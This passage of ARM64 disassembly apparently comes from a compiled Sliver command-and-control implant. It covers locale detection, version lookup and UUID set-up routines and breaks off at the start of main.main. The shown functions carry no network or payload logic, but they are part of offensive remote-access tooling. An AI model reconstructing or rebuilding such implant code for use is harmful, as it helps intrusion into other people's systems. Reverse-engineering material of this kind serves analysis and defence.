    0050e9c0ldr x16, [x28+16]
    0050e9c4subs xzr, sp, x16
    0050e9c8b.ls 0x50ea04
    0050e9ccstr x30, [sp-64]!
    0050e9d0stur x29, [sp-8]
    0050e9d4sub x29, sp, 8
    0050e9d8adrp x0, 0x1a9000
    0050e9dcadd x0, x0, 2930
    0050e9e0movz x1, 22
    0050e9e4mov x2, xzr
    0050e9e8mov x3, xzr
    0050e9ecmov x4, x3
    0050e9f0bl log.Printf
    0050e9f4bl os.Executable
    0050e9f8ldur x29, [sp-8]
    0050e9fcldr x30, [sp], 64
    0050ea00ret x30
    0050ea04
    0050ea04loc_50ea04:
    0050ea04mov x3, x30
    0050ea08bl runtime.morestack_noctxt.abi0
    0050ea0cb 0x50e9c0
    0050e9c0
    0050ea10
    0050ea10github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.init: ; void github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.init(void)
    0050ea10ldr x16, [x28+16]
    0050ea14subs xzr, sp, x16
    0050ea18b.ls 0x50ebb0
    0050ea1cstr x30, [sp-32]!
    0050ea20stur x29, [sp-8]
    0050ea24sub x29, sp, 8
    0050ea28adrp x0, 0x1ab000
    0050ea2cadd x0, x0, 3304
    0050ea30movz x1, 25
    0050ea34bl errors.New
    0050ea38adrp x27, 0x513000
    0050ea3cstr x0, [x27+2592]
    0050ea40adrp x27, 0x53d000
    0050ea44ldr w2, [x27+3056]
    0050ea48cbz w2, 0x50ea50
    0050ea4cb 0x50ea54
    0050ea50
    0050ea50loc_50ea50:
    0050ea50b 0x50ea6c
    0050ea54
    0050ea54loc_50ea54:
    0050ea54bl runtime.gcWriteBarrier2
    0050ea58str x1, [x25]
    0050ea5cadrp x27, 0x513000
    0050ea60ldr x2, [x27+2600]
    0050ea64str x2, [x25+8]
    0050ea68b 0x50ea6c
    0050ea6c
    0050ea6cloc_50ea6c:
    0050ea6cadrp x27, 0x513000
    0050ea70str x1, [x27+2600]
    0050ea74adrp x0, 0x1ad000
    0050ea78add x0, x0, 3320
    0050ea7corr x1, xzr, 28
    0050ea80bl errors.New
    0050ea84adrp x27, 0x513000
    0050ea88str x0, [x27+2608]
    0050ea8cadrp x27, 0x53d000
    0050ea90ldr w2, [x27+3056]
    0050ea94cbz w2, 0x50ea9c
    0050ea98b 0x50eaa0
    0050ea9c
    0050ea9cloc_50ea9c:
    0050ea9cb 0x50eab8
    0050eaa0
    0050eaa0loc_50eaa0:
    0050eaa0bl runtime.gcWriteBarrier2
    0050eaa4str x1, [x25]
    0050eaa8adrp x27, 0x513000
    0050eaacldr x2, [x27+2616]
    0050eab0str x2, [x25+8]
    0050eab4b 0x50eab8
    0050eab8
    0050eab8loc_50eab8:
    0050eab8adrp x27, 0x513000
    0050eabcstr x1, [x27+2616]
    0050eac0adrp x0, 0x1b7000
    0050eac4add x0, x0, 1915
    0050eac8movz x1, 42
    0050eaccbl errors.New
    0050ead0adrp x27, 0x513000
    0050ead4str x0, [x27+2624]
    0050ead8adrp x27, 0x53d000
    0050eadcldr w2, [x27+3056]
    0050eae0cbz w2, 0x50eae8
    0050eae4b 0x50eaec
    0050eae8
    0050eae8loc_50eae8:
    0050eae8b 0x50eb04
    0050eaec
    0050eaecloc_50eaec:
    0050eaecbl runtime.gcWriteBarrier2
    0050eaf0str x1, [x25]
    0050eaf4adrp x27, 0x513000
    0050eaf8ldr x2, [x27+2632]
    0050eafcstr x2, [x25+8]
    0050eb00b 0x50eb04
    0050eb04
    0050eb04loc_50eb04:
    0050eb04adrp x27, 0x513000
    0050eb08str x1, [x27+2632]
    0050eb0cadrp x0, 0x1a9000
    0050eb10add x0, x0, 3590
    0050eb14movz x1, 22
    0050eb18bl errors.New
    0050eb1cadrp x27, 0x513000
    0050eb20str x0, [x27+2640]
    0050eb24adrp x27, 0x53d000
    0050eb28ldr w2, [x27+3056]
    0050eb2ccbz w2, 0x50eb34
    0050eb30b 0x50eb38
    0050eb34
    0050eb34loc_50eb34:
    0050eb34b 0x50eb50
    0050eb38
    0050eb38loc_50eb38:
    0050eb38bl runtime.gcWriteBarrier2
    0050eb3cstr x1, [x25]
    0050eb40adrp x27, 0x513000
    0050eb44ldr x2, [x27+2648]
    0050eb48str x2, [x25+8]
    0050eb4cb 0x50eb50
    0050eb50
    0050eb50loc_50eb50:
    0050eb50adrp x27, 0x513000
    0050eb54str x1, [x27+2648]
    0050eb58adrp x0, 0x1b3000
    0050eb5cadd x0, x0, 2749
    0050eb60movz x1, 36
    0050eb64bl errors.New
    0050eb68adrp x27, 0x513000
    0050eb6cstr x0, [x27+2656]
    0050eb70adrp x27, 0x53d000
    0050eb74ldr w2, [x27+3056]
    0050eb78cbz w2, 0x50eb80
    0050eb7cb 0x50eb84
    0050eb80
    0050eb80loc_50eb80:
    0050eb80b 0x50eb9c
    0050eb84
    0050eb84loc_50eb84:
    0050eb84bl runtime.gcWriteBarrier2
    0050eb88str x1, [x25]
    0050eb8cadrp x27, 0x513000
    0050eb90ldr x0, [x27+2664]
    0050eb94str x0, [x25+8]
    0050eb98b 0x50eb9c
    0050eb9c
    0050eb9cloc_50eb9c:
    0050eb9cadrp x27, 0x513000
    0050eba0str x1, [x27+2664]
    0050eba4ldur x29, [sp-8]
    0050eba8ldr x30, [sp], 32
    0050ebacret x30
    0050ebb0
    0050ebb0loc_50ebb0:
    0050ebb0mov x3, x30
    0050ebb4bl runtime.morestack_noctxt.abi0
    0050ebb8b 0x50ea10
    0050ebbcudf 0
    0050ea10
    0050ebc0
    0050ebc0github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.splitLocale: ; void github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.splitLocale(struct string locale)
    0050ebc0ldr x16, [x28+16]
    0050ebc4sub x17, sp, 80
    0050ebc8subs xzr, x17, x16
    0050ebccb.ls 0x50ed40
    0050ebd0str x30, [sp-208]!
    0050ebd4stur x29, [sp-8]
    0050ebd8sub x29, sp, 8
    0050ebdcstr x0, [sp+216]
    0050ebe0str x1, [sp+224]
    0050ebe4stp xzr, xzr, [sp+88]
    0050ebe8stp xzr, xzr, [sp+72]
    0050ebecldr x0, [sp+216]
    0050ebf0ldr x1, [sp+224]
    0050ebf4adrp x2, 0x201000
    0050ebf8add x2, x2, 296
    0050ebfcorr x3, xzr, 1
    0050ec00bl strings.Split
    0050ec04str x0, [sp+176]
    0050ec08str x1, [sp+184]
    0050ec0cstr x2, [sp+192]
    0050ec10subs xzr, x1, 0
    0050ec14b.hi 0x50ec1c
    0050ec18b 0x50ed34
    0050ec1c
    0050ec1cloc_50ec1c:
    0050ec1cldr x7, [x0]
    0050ec20ldr x1, [x0+8]
    0050ec24str x7, [sp+160]
    0050ec28str x1, [sp+168]
    0050ec2cmov x0, x7
    0050ec30adrp x2, 0x201000
    0050ec34add x2, x2, 728
    0050ec38orr x3, xzr, 1
    0050ec3cadrp x4, 0x202000
    0050ec40add x4, x4, 3136
    0050ec44mov x5, x3
    0050ec48movn x6, 0
    0050ec4cbl strings.Replace
    0050ec50str x0, [sp+160]
    0050ec54str x1, [sp+168]
    0050ec58adrp x2, 0x202000
    0050ec5cadd x2, x2, 3136
    0050ec60orr x3, xzr, 1
    0050ec64bl strings.Split
    0050ec68str x0, [sp+120]
    0050ec6cstr x1, [sp+128]
    0050ec70str x2, [sp+136]
    0050ec74subs xzr, x1, 0
    0050ec78b.hi 0x50ec80
    0050ec7cb 0x50ed2c
    0050ec80
    0050ec80loc_50ec80:
    0050ec80ldr x4, [x0]
    0050ec84ldr x5, [x0+8]
    0050ec88str x4, [sp+144]
    0050ec8cstr x5, [sp+152]
    0050ec90stp xzr, xzr, [sp+104]
    0050ec94ldr x4, [sp+128]
    0050ec98str x4, [sp+64]
    0050ec9csubs xzr, x4, 1
    0050eca0b.gt 0x50eca8
    0050eca4b 0x50ecec
    0050eca8
    0050eca8loc_50eca8:
    0050eca8ldr x0, [sp+160]
    0050ecacldr x1, [sp+168]
    0050ecb0adrp x2, 0x202000
    0050ecb4add x2, x2, 3136
    0050ecb8orr x3, xzr, 1
    0050ecbcbl strings.Split
    0050ecc0str x0, [sp+176]
    0050ecc4str x1, [sp+184]
    0050ecc8str x2, [sp+192]
    0050ecccsubs xzr, x1, 1
    0050ecd0b.hi 0x50ecd8
    0050ecd4b 0x50ed24
    0050ecd8
    0050ecd8loc_50ecd8:
    0050ecd8ldr x4, [x0+16]
    0050ecdcldr x5, [x0+24]
    0050ece0str x4, [sp+104]
    0050ece4str x5, [sp+112]
    0050ece8b 0x50ecf0
    0050ecec
    0050ececloc_50ecec:
    0050ececb 0x50ecf0
    0050ecf0
    0050ecf0loc_50ecf0:
    0050ecf0ldr x4, [sp+144]
    0050ecf4ldr x5, [sp+152]
    0050ecf8str x4, [sp+88]
    0050ecfcstr x5, [sp+96]
    0050ed00ldr x2, [sp+104]
    0050ed04ldr x3, [sp+112]
    0050ed08str x2, [sp+72]
    0050ed0cstr x3, [sp+80]
    0050ed10ldr x0, [sp+88]
    0050ed14ldr x1, [sp+96]
    0050ed18ldur x29, [sp-8]
    0050ed1cldr x30, [sp], 208
    0050ed20ret x30
    0050ed24
    0050ed24loc_50ed24:
    0050ed24orr x0, xzr, 1
    0050ed28bl runtime.panicIndex
    0050ed2c
    0050ed2cloc_50ed2c:
    0050ed2cmov x0, xzr
    0050ed30bl runtime.panicIndex
    0050ed34
    0050ed34loc_50ed34:
    0050ed34mov x0, xzr
    0050ed38bl runtime.panicIndex
    0050ed3chint
    0050ed40
    0050ed40loc_50ed40:
    0050ed40stp x0, x1, [sp+8]
    0050ed44mov x3, x30
    0050ed48bl runtime.morestack_noctxt.abi0
    0050ed4cldp x0, x1, [sp+8]
    0050ed50b 0x50ebc0
    0050ed54udf 0
    0050ed58udf 0
    0050ed5cudf 0
    0050ebc0
    0050ed60
    0050ed60github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.getLangFromEnv: ; void github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.getLangFromEnv(void)
    0050ed60ldr x16, [x28+16]
    0050ed64sub x17, sp, 80
    0050ed68subs xzr, x17, x16
    0050ed6cb.ls 0x50ef10
    0050ed70str x30, [sp-208]!
    0050ed74stur x29, [sp-8]
    0050ed78sub x29, sp, 8
    0050ed7cstp xzr, xzr, [sp+64]
    0050ed80stp xzr, xzr, [sp+112]
    0050ed84stp xzr, xzr, [sp+128]
    0050ed88stp xzr, xzr, [sp+144]
    0050ed8cadd x2, sp, 112
    0050ed90str x2, [sp+160]
    0050ed94ldrsb x27, [x2]
    0050ed98movz x3, 11
    0050ed9cstr x3, [x2+8]
    0050eda0adrp x27, 0x53d000
    0050eda4ldr w3, [x27+3056]
    0050eda8cbz w3, 0x50edb0
    0050edacb 0x50edb4
    0050edb0
    0050edb0loc_50edb0:
    0050edb0b 0x50edc4
    0050edb4
    0050edb4loc_50edb4:
    0050edb4ldr x3, [x2]
    0050edb8bl runtime.gcWriteBarrier1
    0050edbcstr x3, [x25]
    0050edc0b 0x50edc4
    0050edc4
    0050edc4loc_50edc4:
    0050edc4adrp x3, 0x1a4000
    0050edc8add x3, x3, 2824
    0050edccstr x3, [x2]
    0050edd0ldrsb x27, [x2]
    0050edd4orr x3, xzr, 6
    0050edd8str x3, [x2+24]
    0050eddcadrp x27, 0x53d000
    0050ede0ldr w3, [x27+3056]
    0050ede4cbz w3, 0x50edec
    0050ede8b 0x50edf0
    0050edec
    0050edecloc_50edec:
    0050edecb 0x50ee00
    0050edf0
    0050edf0loc_50edf0:
    0050edf0ldr x3, [x2+16]
    0050edf4bl runtime.gcWriteBarrier1
    0050edf8str x3, [x25]
    0050edfcb 0x50ee00
    0050ee00
    0050ee00loc_50ee00:
    0050ee00adrp x3, 0x1a2000
    0050ee04add x3, x3, 2929
    0050ee08str x3, [x2+16]
    0050ee0cldr x2, [sp+160]
    0050ee10ldrsb x27, [x2]
    0050ee14orr x3, xzr, 4
    0050ee18str x3, [x2+40]
    0050ee1cadrp x27, 0x53d000
    0050ee20ldr w3, [x27+3056]
    0050ee24cbz w3, 0x50ee2c
    0050ee28b 0x50ee30
    0050ee2c
    0050ee2cloc_50ee2c:
    0050ee2cb 0x50ee40
    0050ee30
    0050ee30loc_50ee30:
    0050ee30ldr x3, [x2+32]
    0050ee34bl runtime.gcWriteBarrier1
    0050ee38str x3, [x25]
    0050ee3cb 0x50ee40
    0050ee40
    0050ee40loc_50ee40:
    0050ee40adrp x3, 0x1a2000
    0050ee44add x3, x3, 1162
    0050ee48str x3, [x2+32]
    0050ee4cldr x2, [sp+160]
    0050ee50ldrsb x27, [x2]
    0050ee54b 0x50ee58
    0050ee58
    0050ee58loc_50ee58:
    0050ee58str x2, [sp+168]
    0050ee5corr x2, xzr, 3
    0050ee60str x2, [sp+176]
    0050ee64str x2, [sp+184]
    0050ee68str xzr, [sp+48]
    0050ee6cstr x2, [sp+40]
    0050ee70ldr x2, [sp+168]
    0050ee74str x2, [sp+32]
    0050ee78b 0x50ee7c
    0050ee7c
    0050ee7cloc_50ee7c:
    0050ee7cldr x2, [sp+40]
    0050ee80ldr x3, [sp+48]
    0050ee84subs xzr, x2, x3
    0050ee88b.gt 0x50ee90
    0050ee8cb 0x50eef8
    0050ee90
    0050ee90loc_50ee90:
    0050ee90ldr x2, [sp+32]
    0050ee94str x2, [sp+192]
    0050ee98ldr x2, [sp+192]
    0050ee9cldr x0, [x2]
    0050eea0ldr x1, [x2+8]
    0050eea4str x0, [sp+96]
    0050eea8str x1, [sp+104]
    0050eeacbl os.Getenv
    0050eeb0str x0, [sp+80]
    0050eeb4str x1, [sp+88]
    0050eeb8str x1, [sp+56]
    0050eebccbnz x1, 0x50eec4
    0050eec0b 0x50eed8
    0050eec4
    0050eec4loc_50eec4:
    0050eec4str x0, [sp+64]
    0050eec8str x1, [sp+72]
    0050eeccldur x29, [sp-8]
    0050eed0ldr x30, [sp], 208
    0050eed4ret x30
    0050eed8
    0050eed8loc_50eed8:
    0050eed8b 0x50eedc
    0050eedc
    0050eedcloc_50eedc:
    0050eedcldr x2, [sp+48]
    0050eee0add x2, x2, 1
    0050eee4str x2, [sp+48]
    0050eee8ldr x2, [sp+192]
    0050eeecadd x2, x2, 16
    0050eef0str x2, [sp+32]
    0050eef4b 0x50ee7c
    0050eef8
    0050eef8loc_50eef8:
    0050eef8stp xzr, xzr, [sp+64]
    0050eefcmov x0, xzr
    0050ef00mov x1, xzr
    0050ef04ldur x29, [sp-8]
    0050ef08ldr x30, [sp], 208
    0050ef0cret x30
    0050ef10
    0050ef10loc_50ef10:
    0050ef10mov x3, x30
    0050ef14bl runtime.morestack_noctxt.abi0
    0050ef18b 0x50ed60
    0050ef1cudf 0
    0050ed60
    0050ef20
    0050ef20github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.getUnixLocale: ; void github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.getUnixLocale(void)
    0050ef20ldr x16, [x28+16]
    0050ef24subs xzr, sp, x16
    0050ef28b.ls 0x50efb4
    0050ef2cstr x30, [sp-80]!
    0050ef30stur x29, [sp-8]
    0050ef34sub x29, sp, 8
    0050ef38stp xzr, xzr, [sp+40]
    0050ef3cstp xzr, xzr, [sp+24]
    0050ef40bl github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.getLangFromEnv
    0050ef44str x0, [sp+56]
    0050ef48str x1, [sp+64]
    0050ef4cstr x1, [sp+16]
    0050ef50subs xzr, x1, 0
    0050ef54b.le 0x50ef5c
    0050ef58b 0x50ef8c
    0050ef5c
    0050ef5cloc_50ef5c:
    0050ef5cstp xzr, xzr, [sp+40]
    0050ef60adrp x27, 0x513000
    0050ef64ldr x3, [x27+2600]
    0050ef68adrp x27, 0x513000
    0050ef6cldr x2, [x27+2592]
    0050ef70str x2, [sp+24]
    0050ef74str x3, [sp+32]
    0050ef78ldr x0, [sp+40]
    0050ef7cldr x1, [sp+48]
    0050ef80ldur x29, [sp-8]
    0050ef84ldr x30, [sp], 80
    0050ef88ret x30
    0050ef8c
    0050ef8cloc_50ef8c:
    0050ef8cstr x0, [sp+40]
    0050ef90str x1, [sp+48]
    0050ef94stp xzr, xzr, [sp+24]
    0050ef98ldr x0, [sp+40]
    0050ef9cldr x1, [sp+48]
    0050efa0mov x2, xzr
    0050efa4mov x3, xzr
    0050efa8ldur x29, [sp-8]
    0050efacldr x30, [sp], 80
    0050efb0ret x30
    0050efb4
    0050efb4loc_50efb4:
    0050efb4mov x3, x30
    0050efb8bl runtime.morestack_noctxt.abi0
    0050efbcb 0x50ef20
    0050ef20
    0050efc0
    0050efc0github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.DetectIETF: ; void github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.DetectIETF(void)
    0050efc0ldr x16, [x28+16]
    0050efc4sub x17, sp, 208
    0050efc8subs xzr, x17, x16
    0050efccb.ls 0x50f1f0
    0050efd0sub x20, sp, 336
    0050efd4stp x29, x30, [x20-8]
    0050efd8add sp, x20, 0
    0050efdcsub x29, sp, 8
    0050efe0stp xzr, xzr, [sp+72]
    0050efe4stp xzr, xzr, [sp+56]
    0050efe8stp xzr, xzr, [sp+312]
    0050efecstp xzr, xzr, [sp+296]
    0050eff0bl github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.getUnixLocale
    0050eff4str x0, [sp+312]
    0050eff8str x1, [sp+320]
    0050effcstr x2, [sp+296]
    0050f000str x3, [sp+304]
    0050f004ldr x0, [sp+312]
    0050f008ldr x1, [sp+320]
    0050f00cstr x0, [sp+200]
    0050f010str x1, [sp+208]
    0050f014ldr x0, [sp+296]
    0050f018ldr x1, [sp+304]
    0050f01cstr x0, [sp+184]
    0050f020str x1, [sp+192]
    0050f024ldr x0, [sp+200]
    0050f028ldr x1, [sp+208]
    0050f02cstr x0, [sp+104]
    0050f030str x1, [sp+112]
    0050f034ldr x0, [sp+192]
    0050f038ldr x1, [sp+184]
    0050f03cstr x1, [sp+136]
    0050f040str x0, [sp+144]
    0050f044cbnz x1, 0x50f04c
    0050f048b 0x50f074
    0050f04c
    0050f04cloc_50f04c:
    0050f04cstp xzr, xzr, [sp+72]
    0050f050ldr x3, [sp+144]
    0050f054ldr x2, [sp+136]
    0050f058str x2, [sp+56]
    0050f05cstr x3, [sp+64]
    0050f060ldr x0, [sp+72]
    0050f064ldr x1, [sp+80]
    0050f068ldp x29, x30, [sp-8]
    0050f06cadd sp, sp, 336
    0050f070ret x30
    0050f074
    0050f074loc_50f074:
    0050f074stp xzr, xzr, [sp+312]
    0050f078stp xzr, xzr, [sp+280]
    0050f07cldr x0, [sp+104]
    0050f080ldr x1, [sp+112]
    0050f084bl github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.splitLocale
    0050f088str x0, [sp+312]
    0050f08cstr x1, [sp+320]
    0050f090str x2, [sp+280]
    0050f094str x3, [sp+288]
    0050f098ldr x2, [sp+320]
    0050f09cldr x3, [sp+312]
    0050f0a0str x3, [sp+168]
    0050f0a4str x2, [sp+176]
    0050f0a8ldr x2, [sp+280]
    0050f0acldr x3, [sp+288]
    0050f0b0str x2, [sp+152]
    0050f0b4str x3, [sp+160]
    0050f0b8ldr x2, [sp+168]
    0050f0bcldr x3, [sp+176]
    0050f0c0str x2, [sp+120]
    0050f0c4str x3, [sp+128]
    0050f0c8ldr x2, [sp+152]
    0050f0ccldr x3, [sp+160]
    0050f0d0str x2, [sp+88]
    0050f0d4str x3, [sp+96]
    0050f0d8ldr x2, [sp+120]
    0050f0dcldr x3, [sp+128]
    0050f0e0str x2, [sp+104]
    0050f0e4str x3, [sp+112]
    0050f0e8ldr x2, [sp+96]
    0050f0ecstr x2, [sp+48]
    0050f0f0cbnz x2, 0x50f0f8
    0050f0f4b 0x50f1bc
    0050f0f8
    0050f0f8loc_50f0f8:
    0050f0f8stp xzr, xzr, [sp+248]
    0050f0fcstp xzr, xzr, [sp+264]
    0050f100add x5, sp, 248
    0050f104str x5, [sp+216]
    0050f108ldrsb x27, [x5]
    0050f10cldr x6, [sp+120]
    0050f110ldr x7, [sp+128]
    0050f114str x7, [x5+8]
    0050f118adrp x27, 0x53c000
    0050f11cldr w7, [x27+3056]
    0050f120cbz w7, 0x50f128
    0050f124b 0x50f12c
    0050f128
    0050f128loc_50f128:
    0050f128b 0x50f140
    0050f12c
    0050f12cloc_50f12c:
    0050f12cbl runtime.gcWriteBarrier2
    0050f130str x6, [x25]
    0050f134ldr x7, [x5]
    0050f138str x7, [x25+8]
    0050f13cb 0x50f140
    0050f140
    0050f140loc_50f140:
    0050f140str x6, [x5]
    0050f144ldrsb x27, [x5]
    0050f148ldr x6, [sp+88]
    0050f14cldr x7, [sp+96]
    0050f150str x7, [x5+24]
    0050f154adrp x27, 0x53c000
    0050f158ldr w7, [x27+3056]
    0050f15ccbz w7, 0x50f164
    0050f160b 0x50f168
    0050f164
    0050f164loc_50f164:
    0050f164b 0x50f17c
    0050f168
    0050f168loc_50f168:
    0050f168bl runtime.gcWriteBarrier2
    0050f16cstr x6, [x25]
    0050f170ldr x7, [x5+16]
    0050f174str x7, [x25+8]
    0050f178b 0x50f17c
    0050f17c
    0050f17cloc_50f17c:
    0050f17cstr x6, [x5+16]
    0050f180ldr x0, [sp+216]
    0050f184ldrsb x27, [x0]
    0050f188b 0x50f18c
    0050f18c
    0050f18cloc_50f18c:
    0050f18cstr x0, [sp+224]
    0050f190orr x2, xzr, 2
    0050f194str x2, [sp+232]
    0050f198str x2, [sp+240]
    0050f19cmov x1, x2
    0050f1a0adrp x3, 0x200000
    0050f1a4add x3, x3, 728
    0050f1a8orr x4, xzr, 1
    0050f1acbl strings.Join
    0050f1b0str x0, [sp+104]
    0050f1b4str x1, [sp+112]
    0050f1b8b 0x50f1c0
    0050f1bc
    0050f1bcloc_50f1bc:
    0050f1bcb 0x50f1c0
    0050f1c0
    0050f1c0loc_50f1c0:
    0050f1c0ldr x4, [sp+104]
    0050f1c4ldr x5, [sp+112]
    0050f1c8str x4, [sp+72]
    0050f1ccstr x5, [sp+80]
    0050f1d0stp xzr, xzr, [sp+56]
    0050f1d4ldr x0, [sp+72]
    0050f1d8ldr x1, [sp+80]
    0050f1dcmov x2, xzr
    0050f1e0mov x3, xzr
    0050f1e4ldp x29, x30, [sp-8]
    0050f1e8add sp, sp, 336
    0050f1ecret x30
    0050f1f0
    0050f1f0loc_50f1f0:
    0050f1f0mov x3, x30
    0050f1f4bl runtime.morestack_noctxt.abi0
    0050f1f8b 0x50efc0
    0050f1fcudf 0
    0050efc0
    0050f200
    0050f200github.com/bishopfox/sliver/implant/sliver/locale.GetLocale: ; void github.com/bishopfox/sliver/implant/sliver/locale.GetLocale(void)
    0050f200ldr x16, [x28+16]
    0050f204subs xzr, sp, x16
    0050f208b.ls 0x50f2b4
    0050f20cstr x30, [sp-128]!
    0050f210stur x29, [sp-8]
    0050f214sub x29, sp, 8
    0050f218stp xzr, xzr, [sp+8]
    0050f21cstp xzr, xzr, [sp+72]
    0050f220stp xzr, xzr, [sp+56]
    0050f224bl github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber.DetectIETF
    0050f228str x0, [sp+72]
    0050f22cstr x1, [sp+80]
    0050f230str x2, [sp+56]
    0050f234str x3, [sp+64]
    0050f238ldr x0, [sp+72]
    0050f23cldr x1, [sp+80]
    0050f240str x0, [sp+104]
    0050f244str x1, [sp+112]
    0050f248ldr x0, [sp+56]
    0050f24cldr x1, [sp+64]
    0050f250str x0, [sp+88]
    0050f254str x1, [sp+96]
    0050f258ldr x0, [sp+104]
    0050f25cldr x1, [sp+112]
    0050f260str x0, [sp+24]
    0050f264str x1, [sp+32]
    0050f268ldr x0, [sp+96]
    0050f26cldr x1, [sp+88]
    0050f270str x1, [sp+40]
    0050f274str x0, [sp+48]
    0050f278cbnz x1, 0x50f280
    0050f27cb 0x50f298
    0050f280
    0050f280loc_50f280:
    0050f280stp xzr, xzr, [sp+8]
    0050f284mov x0, xzr
    0050f288mov x1, xzr
    0050f28cldur x29, [sp-8]
    0050f290ldr x30, [sp], 128
    0050f294ret x30
    0050f298
    0050f298loc_50f298:
    0050f298ldr x0, [sp+24]
    0050f29cldr x1, [sp+32]
    0050f2a0str x0, [sp+8]
    0050f2a4str x1, [sp+16]
    0050f2a8ldur x29, [sp-8]
    0050f2acldr x30, [sp], 128
    0050f2b0ret x30
    0050f2b4
    0050f2b4loc_50f2b4:
    0050f2b4mov x3, x30
    0050f2b8bl runtime.morestack_noctxt.abi0
    0050f2bcb 0x50f200
    0050f200
    0050f2c0
    0050f2c0github.com/bishopfox/sliver/implant/sliver/version.GetVersion: ; void github.com/bishopfox/sliver/implant/sliver/version.GetVersion(void)
    0050f2c0str x30, [sp-32]!
    0050f2c4stur x29, [sp-8]
    0050f2c8sub x29, sp, 8
    0050f2ccstp xzr, xzr, [sp+8]
    0050f2d0stp xzr, xzr, [sp+8]
    0050f2d4mov x0, xzr
    0050f2d8mov x1, xzr
    0050f2dcadd x29, sp, 24
    0050f2e0add sp, sp, 32
    0050f2e4ret x30
    0050f2e8udf 0
    0050f2ecudf 0
    0050f2c0
    0050f2f0
    0050f2f0main.init: ; void main.init(void)
    0050f2f0ldr x16, [x28+16]
    0050f2f4subs xzr, sp, x16
    0050f2f8b.ls 0x50f360
    0050f2fcstr x30, [sp-32]!
    0050f300stur x29, [sp-8]
    0050f304sub x29, sp, 8
    0050f308adrp x0, 0x1a2000
    0050f30cadd x0, x0, 2308
    0050f310movz x1, 9
    0050f314bl errors.New
    0050f318adrp x27, 0x512000
    0050f31cstr x0, [x27+1008]
    0050f320adrp x27, 0x53c000
    0050f324ldr w2, [x27+3056]
    0050f328cbz w2, 0x50f330
    0050f32cb 0x50f334
    0050f330
    0050f330loc_50f330:
    0050f330b 0x50f34c
    0050f334
    0050f334loc_50f334:
    0050f334bl runtime.gcWriteBarrier2
    0050f338str x1, [x25]
    0050f33cadrp x27, 0x512000
    0050f340ldr x0, [x27+1016]
    0050f344str x0, [x25+8]
    0050f348b 0x50f34c
    0050f34c
    0050f34cloc_50f34c:
    0050f34cadrp x27, 0x512000
    0050f350str x1, [x27+1016]
    0050f354ldur x29, [sp-8]
    0050f358ldr x30, [sp], 32
    0050f35cret x30
    0050f360
    0050f360loc_50f360:
    0050f360mov x3, x30
    0050f364bl runtime.morestack_noctxt.abi0
    0050f368b 0x50f2f0
    0050f36cudf 0
    0050f2f0
    0050f370
    0050f370main.init.0: ; void main.init.0(void)
    0050f370ldr x16, [x28+16]
    0050f374sub x17, sp, 64
    0050f378subs xzr, x17, x16
    0050f37cb.ls 0x50f47c
    0050f380str x30, [sp-192]!
    0050f384stur x29, [sp-8]
    0050f388sub x29, sp, 8
    0050f38cstp xzr, xzr, [sp+152]
    0050f390bl github.com/gofrs/uuid.NewV4
    0050f394ldp x2, x3, [sp+8]
    0050f398stp x2, x3, [sp+80]
    0050f39cstr x0, [sp+152]
    0050f3a0str x1, [sp+160]
    0050f3a4ldp x0, x1, [sp+80]
    0050f3a8stp x0, x1, [sp+96]
    0050f3acldr x0, [sp+152]
    0050f3b0ldr x1, [sp+160]
    0050f3b4str x0, [sp+168]
    0050f3b8str x1, [sp+176]
    0050f3bcldp x0, x1, [sp+96]
    0050f3c0stp x0, x1, [sp+48]
    0050f3c4ldr x0, [sp+176]
    0050f3c8ldr x1, [sp+168]
    0050f3ccstr x1, [sp+112]
    0050f3d0str x0, [sp+120]
    0050f3d4cbnz x1, 0x50f3dc
    0050f3d8b 0x50f424
    0050f3dc
    0050f3dcloc_50f3dc:
    0050f3dcb 0x50f3e0
    0050f3e0
    0050f3e0loc_50f3e0:
    0050f3e0stp xzr, xzr, [sp+64]
    0050f3e4add x0, sp, 64
    0050f3e8ldrsb x27, [x0]
    0050f3ecb 0x50f3f0
    0050f3f0
    0050f3f0loc_50f3f0:
    0050f3f0str x0, [sp+128]
    0050f3f4orr x2, xzr, 16
    0050f3f8str x2, [sp+136]
    0050f3fcstr x2, [sp+144]
    0050f400mov x1, x2
    0050f404bl math/rand.Read
    0050f408ldr x0, [sp+128]
    0050f40cldr x1, [sp+136]
    0050f410ldr x2, [sp+144]
    0050f414bl github.com/gofrs/uuid.FromBytesOrNil
    0050f418ldp x3, x4, [sp+8]
    0050f41cstp x3, x4, [sp+48]
    0050f420b 0x50f428
    0050f424
    0050f424loc_50f424:
    0050f424b 0x50f428
    0050f428
    0050f428loc_50f428:
    0050f428ldp x0, x1, [sp+48]
    0050f42cstp x0, x1, [sp+8]
    0050f430bl github.com/gofrs/uuid.UUID.String
    0050f434adrp x27, 0x512000
    0050f438str x1, [x27+1000]
    0050f43cadrp x27, 0x53c000
    0050f440ldr w1, [x27+3056]
    0050f444cbz w1, 0x50f44c
    0050f448b 0x50f450
    0050f44c
    0050f44cloc_50f44c:
    0050f44cb 0x50f468
    0050f450
    0050f450loc_50f450:
    0050f450bl runtime.gcWriteBarrier2
    0050f454str x0, [x25]
    0050f458adrp x27, 0x512000
    0050f45cldr x1, [x27+992]
    0050f460str x1, [x25+8]
    0050f464b 0x50f468
    0050f468
    0050f468loc_50f468:
    0050f468adrp x27, 0x512000
    0050f46cstr x0, [x27+992]
    0050f470ldur x29, [sp-8]
    0050f474ldr x30, [sp], 192
    0050f478ret x30
    0050f47c
    0050f47cloc_50f47c:
    0050f47cmov x3, x30
    0050f480bl runtime.morestack_noctxt.abi0
    0050f484b 0x50f370
    0050f488udf 0
    0050f48cudf 0
    0050f370
    0050f490
    0050f490main.main: ; void main.main(void)
    0050f490ldr x16, [x28+16]
    0050f494subs xzr, sp, x16
    0050f498b.ls 0x50f560
    0050f49cstr x30, [sp-128]!
    0050f4a0stur x29, [sp-8]
    0050f4a4sub x29, sp, 8
